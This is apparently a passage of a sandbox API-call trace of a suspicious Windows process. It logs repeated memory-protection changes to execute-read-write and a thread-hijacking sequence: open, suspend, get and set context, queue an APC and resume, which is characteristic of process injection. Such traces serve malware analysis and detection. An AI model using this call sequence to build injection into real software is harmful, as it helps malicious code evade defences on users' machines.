NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0370.771] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0370.785] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0370.795] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0370.815] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0370.827] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0370.928] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0370.949] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0371.006] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0371.016] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x921490) returned 1 [0371.021] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0371.030] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0371.055] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0371.067] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0371.077] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41e000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41e000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0371.148] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41e000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41e000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0371.158] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0371.170] NtOpenProcess (in: ProcessHandle=0x1eb8e358, DesiredAccess=0x438, ObjectAttributes=0x1eb8d908*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x1eb8d948*(UniqueProcess=0x560, UniqueThread=0x0) | out: ProcessHandle=0x1eb8e358*=0x3a8) returned 0x0 [0371.174] NtQueryInformationProcess (in: ProcessHandle=0x3a8, ProcessInformationClass=0x0, ProcessInformation=0x1eb8d958, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x1eb8d958, ReturnLength=0x0) returned 0x0 [0371.181] NtOpenThread (in: ThreadHandle=0x1eb8d900, DesiredAccess=0x1a, ObjectAttributes=0x1eb8d908, ClientId=0x1eb8d938*(UniqueProcess=0x0, UniqueThread=0x5cc) | out: ThreadHandle=0x1eb8d900*=0x3ac) returned 0x0 [0371.192] NtSuspendThread (in: ThreadHandle=0x3ac, PreviousSuspendCount=0x0 | out: PreviousSuspendCount=0x0) returned 0x0 [0371.198] NtGetContextThread (in: ThreadHandle=0x3ac, Context=0x1eb8de50 | out: Context=0x1eb8de50*(ContextFlags=0x0, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, FloatSave.ControlWord=0x0, FloatSave.StatusWord=0x0, FloatSave.TagWord=0x0, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x0, FloatSave.DataOffset=0x10000b, FloatSave.DataSelector=0x1fa0, FloatSave.RegisterArea=([0]=0x33, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x2b, [11]=0x0, [12]=0x46, [13]=0x2, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x98, [73]=0x9d, [74]=0x26, [75]=0x8, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0xc96200, SegEs=0x0, SegDs=0x75f2c8, Edi=0x0, Esi=0x75f340, Ebx=0x0, Edx=0xc952c0, Ecx=0x0, Eax=0x0, Ebp=0x0, Eip=0x0, SegCs=0x0, EFlags=0xe9f20000, Esp=0x7ffc, SegSs=0x10, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x13, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0xff, [13]=0xff, [14]=0xff, [15]=0xff, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0xf0, [29]=0x96, [30]=0xd6, [31]=0xe7, [32]=0xfc, [33]=0x7f, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x4, [45]=0x12, [46]=0xff, [47]=0xe6, [48]=0xfc, [49]=0x7f, [50]=0x0, [51]=0x0, [52]=0x7f, [53]=0x2, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0xa0, [77]=0x1f, [78]=0x0, [79]=0x0, [80]=0xff, [81]=0xff, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x0, [193]=0x0, [194]=0x0, [195]=0x0, [196]=0x0, [197]=0x0, [198]=0x0, [199]=0x0, [200]=0x0, [201]=0x0, [202]=0x0, [203]=0x0, [204]=0x0, [205]=0x0, [206]=0x0, [207]=0x0, [208]=0x0, [209]=0x0, [210]=0x0, [211]=0x0, [212]=0x8, [213]=0x0, [214]=0x0, [215]=0x0, [216]=0x0, [217]=0x0, [218]=0x0, [219]=0x0, [220]=0x98, [221]=0x9d, [222]=0x26, [223]=0x8, [224]=0x0, [225]=0x0, [226]=0x0, [227]=0x0, [228]=0x0, [229]=0x0, [230]=0x0, [231]=0x0, [232]=0x0, [233]=0x0, [234]=0x0, [235]=0x0, [236]=0x0, [237]=0x0, [238]=0x0, [239]=0x0, [240]=0x0, [241]=0x0, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0x0, [247]=0x0, [248]=0x0, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0x0, [259]=0x0, [260]=0x0, [261]=0x0, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x0, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x0, [273]=0x0, [274]=0x0, [275]=0x0, [276]=0x0, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0x0, [283]=0x0, [284]=0x0, [285]=0x0, [286]=0x0, [287]=0x0, [288]=0x0, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x0, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x0, [297]=0x0, [298]=0x0, [299]=0x0, [300]=0x0, [301]=0x0, [302]=0x0, [303]=0x0, [304]=0x0, [305]=0x0, [306]=0x0, [307]=0x0, [308]=0x0, [309]=0x0, [310]=0x0, [311]=0x0, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x0, [317]=0x0, [318]=0x0, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x0, [325]=0x0, [326]=0x0, [327]=0x0, [328]=0x0, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x0, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x0, [337]=0x0, [338]=0x0, [339]=0x0, [340]=0x0, [341]=0x0, [342]=0x0, [343]=0x0, [344]=0x0, [345]=0x0, [346]=0x0, [347]=0x0, [348]=0x0, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x0, [353]=0x0, [354]=0x0, [355]=0x0, [356]=0x0, [357]=0x0, [358]=0x0, [359]=0x0, [360]=0x0, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x0, [366]=0x0, [367]=0x0, [368]=0x0, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0x0, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0x0, [381]=0x0, [382]=0x0, [383]=0x0, [384]=0x0, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x0, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x0, [397]=0x0, [398]=0x0, [399]=0x0, [400]=0x0, [401]=0x0, [402]=0x0, [403]=0x0, [404]=0x0, [405]=0x0, [406]=0x0, [407]=0x0, [408]=0x0, [409]=0x0, [410]=0x0, [411]=0x0, [412]=0x0, [413]=0x0, [414]=0x0, [415]=0x0, [416]=0x0, [417]=0x0, [418]=0x0, [419]=0x0, [420]=0x0, [421]=0x0, [422]=0x0, [423]=0x0, [424]=0x0, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x0, [429]=0x0, [430]=0x0, [431]=0x0, [432]=0x0, [433]=0x0, [434]=0x0, [435]=0x0, [436]=0x0, [437]=0x0, [438]=0x0, [439]=0x0, [440]=0x0, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0x0, [445]=0x0, [446]=0x0, [447]=0x0, [448]=0x0, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x0, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x0, [461]=0x0, [462]=0x0, [463]=0x0, [464]=0x0, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0x0, [469]=0x0, [470]=0x0, [471]=0x0, [472]=0x0, [473]=0x0, [474]=0x0, [475]=0x0, [476]=0x0, [477]=0x0, [478]=0x0, [479]=0x0, [480]=0x0, [481]=0x0, [482]=0x0, [483]=0x0, [484]=0x0, [485]=0x0, [486]=0x0, [487]=0x0, [488]=0x0, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0x0, [493]=0x0, [494]=0x0, [495]=0x0, [496]=0x0, [497]=0x0, [498]=0x0, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0x0, [509]=0x0, [510]=0x0, [511]=0x0))) returned 0x0 [0371.203] NtSetContextThread (ThreadHandle=0x3ac, Context=0x1eb8de50*(ContextFlags=0x0, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, FloatSave.ControlWord=0x0, FloatSave.StatusWord=0x0, FloatSave.TagWord=0x0, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x0, FloatSave.DataOffset=0x10000b, FloatSave.DataSelector=0x1fa0, FloatSave.RegisterArea=([0]=0x33, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x2b, [11]=0x0, [12]=0x46, [13]=0x2, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x98, [73]=0x9d, [74]=0x26, [75]=0x8, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0xc96200, SegEs=0x0, SegDs=0x75f2c8, Edi=0x0, Esi=0x75f340, Ebx=0x0, Edx=0xc952c0, Ecx=0x0, Eax=0x0, Ebp=0x0, Eip=0x0, SegCs=0x0, EFlags=0xe9f20000, Esp=0x7ffc, SegSs=0x10, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x13, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0xff, [13]=0xff, [14]=0xff, [15]=0xff, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0xf0, [29]=0x96, [30]=0xd6, [31]=0xe7, [32]=0xfc, [33]=0x7f, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x35, [45]=0x43, [46]=0x19, [47]=0x6, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x7f, [53]=0x2, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0xa0, [77]=0x1f, [78]=0x0, [79]=0x0, [80]=0xff, [81]=0xff, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x0, [193]=0x0, [194]=0x0, [195]=0x0, [196]=0x0, [197]=0x0, [198]=0x0, [199]=0x0, [200]=0x0, [201]=0x0, [202]=0x0, [203]=0x0, [204]=0x0, [205]=0x0, [206]=0x0, [207]=0x0, [208]=0x0, [209]=0x0, [210]=0x0, [211]=0x0, [212]=0x8, [213]=0x0, [214]=0x0, [215]=0x0, [216]=0x0, [217]=0x0, [218]=0x0, [219]=0x0, [220]=0x98, [221]=0x9d, [222]=0x26, [223]=0x8, [224]=0x0, [225]=0x0, [226]=0x0, [227]=0x0, [228]=0x0, [229]=0x0, [230]=0x0, [231]=0x0, [232]=0x0, [233]=0x0, [234]=0x0, [235]=0x0, [236]=0x0, [237]=0x0, [238]=0x0, [239]=0x0, [240]=0x0, [241]=0x0, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0x0, [247]=0x0, [248]=0x0, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0x0, [259]=0x0, [260]=0x0, [261]=0x0, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x0, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x0, [273]=0x0, [274]=0x0, [275]=0x0, [276]=0x0, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0x0, [283]=0x0, [284]=0x0, [285]=0x0, [286]=0x0, [287]=0x0, [288]=0x0, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x0, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x0, [297]=0x0, [298]=0x0, [299]=0x0, [300]=0x0, [301]=0x0, [302]=0x0, [303]=0x0, [304]=0x0, [305]=0x0, [306]=0x0, [307]=0x0, [308]=0x0, [309]=0x0, [310]=0x0, [311]=0x0, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x0, [317]=0x0, [318]=0x0, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x0, [325]=0x0, [326]=0x0, [327]=0x0, [328]=0x0, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x0, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x0, [337]=0x0, [338]=0x0, [339]=0x0, [340]=0x0, [341]=0x0, [342]=0x0, [343]=0x0, [344]=0x0, [345]=0x0, [346]=0x0, [347]=0x0, [348]=0x0, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x0, [353]=0x0, [354]=0x0, [355]=0x0, [356]=0x0, [357]=0x0, [358]=0x0, [359]=0x0, [360]=0x0, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x0, [366]=0x0, [367]=0x0, [368]=0x0, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0x0, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0x0, [381]=0x0, [382]=0x0, [383]=0x0, [384]=0x0, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x0, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x0, [397]=0x0, [398]=0x0, [399]=0x0, [400]=0x0, [401]=0x0, [402]=0x0, [403]=0x0, [404]=0x0, [405]=0x0, [406]=0x0, [407]=0x0, [408]=0x0, [409]=0x0, [410]=0x0, [411]=0x0, [412]=0x0, [413]=0x0, [414]=0x0, [415]=0x0, [416]=0x0, [417]=0x0, [418]=0x0, [419]=0x0, [420]=0x0, [421]=0x0, [422]=0x0, [423]=0x0, [424]=0x0, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x0, [429]=0x0, [430]=0x0, [431]=0x0, [432]=0x0, [433]=0x0, [434]=0x0, [435]=0x0, [436]=0x0, [437]=0x0, [438]=0x0, [439]=0x0, [440]=0x0, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0x0, [445]=0x0, [446]=0x0, [447]=0x0, [448]=0x0, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x0, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x0, [461]=0x0, [462]=0x0, [463]=0x0, [464]=0x0, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0x0, [469]=0x0, [470]=0x0, [471]=0x0, [472]=0x0, [473]=0x0, [474]=0x0, [475]=0x0, [476]=0x0, [477]=0x0, [478]=0x0, [479]=0x0, [480]=0x0, [481]=0x0, [482]=0x0, [483]=0x0, [484]=0x0, [485]=0x0, [486]=0x0, [487]=0x0, [488]=0x0, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0x0, [493]=0x0, [494]=0x0, [495]=0x0, [496]=0x0, [497]=0x0, [498]=0x0, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0x0, [509]=0x0, [510]=0x0, [511]=0x0))) returned 0x0 [0371.204] NtQueueApcThread (ThreadHandle=0x3ac, ApcRoutine=0x6194359, NormalContext=0x0, SystemArgument1=0x0, SystemArgument2=0x0) returned 0x0 [0371.208] NtResumeThread (in: ThreadHandle=0x3ac, SuspendCount=0x0 | out: SuspendCount=0x0) returned 0x0 [0371.208] NtClose (Handle=0x3a8) returned 0x0 [0371.208] NtClose (Handle=0x3ac) returned 0x0 [0371.213] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41e000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41e000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0371.223] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0371.233] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0371.250] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0371.261] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0371.271] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0371.281] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: 